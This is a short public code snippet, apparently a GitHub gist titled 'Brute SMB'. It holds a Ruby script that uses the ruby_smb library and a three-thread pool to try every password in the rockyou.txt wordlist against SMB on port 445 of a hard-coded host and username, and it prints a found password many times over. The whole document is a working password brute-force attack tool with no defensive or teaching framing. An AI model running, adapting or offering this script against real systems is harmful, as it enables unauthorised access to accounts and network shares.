Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
Brute SMB
#!/usr/bin/env ruby
require 'ruby_smb'
require 'thread'
class ThreadPool
def initialize(size)
@size = size
@jobs = Queue.new
@pool = Array.new(@size) do |i|
Thread.new do
Thread.current[:id] = i
catch(:exit) do
loop do
jobs, args = @jobs.pop
jobs.call(*args)
end
end
end
end
end
def schedule(*args, &block)
@jobs << [block, args]
end
def clear!
@jobs.close
end
def run!
@size.times do
schedule { throw :exit }
end
@pool.map(&:join)
end
end
def brute_thread(pass)
address = '192.168.1.100'
username = 'targetuser'
sock = TCPSocket.new address, 445
#sock = Socket.tcp(address, 445, connect_timeout: 2) {}
dispatcher = RubySMB::Dispatcher::Socket.new(sock)
client = RubySMB::Client.new(dispatcher, username: username, password: pass)
client.negotiate
res = client.authenticate
if res.name == 'STATUS_SUCCESS'
puts "===== PASSWORD #{pass} SUCCESSFUL ======"
puts "===== PASSWORD #{pass} SUCCESSFUL ======"
puts "===== PASSWORD #{pass} SUCCESSFUL ======"
puts "===== PASSWORD #{pass} SUCCESSFUL ======"
puts "===== PASSWORD #{pass} SUCCESSFUL ======"
puts "===== PASSWORD #{pass} SUCCESSFUL ======"
puts "===== PASSWORD #{pass} SUCCESSFUL ======"
puts "===== PASSWORD #{pass} SUCCESSFUL ======"
puts "===== PASSWORD #{pass} SUCCESSFUL ======"
puts "===== PASSWORD #{pass} SUCCESSFUL ======"
puts "===== PASSWORD #{pass} SUCCESSFUL ======"
puts "===== PASSWORD #{pass} SUCCESSFUL ======"
puts "===== PASSWORD #{pass} SUCCESSFUL ======"
puts "===== PASSWORD #{pass} SUCCESSFUL ======"
puts "===== PASSWORD #{pass} SUCCESSFUL ======"
puts "===== PASSWORD #{pass} SUCCESSFUL ======"
puts "===== PASSWORD #{pass} SUCCESSFUL ======"
#@pool.clear!
abort
end
sock.close
return res.name
end
rock = File.open('/usr/share/wordlists/rockyou.txt')
@pool = ThreadPool.new(3)
rock.each_line do |i|
@pool.schedule do
pass = i.strip
res = brute_thread(pass)
puts "Testing password: #{pass}, finished by thread #{Thread.current[:id]}: RESULT: #{res}"
end
end
@pool.run!
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.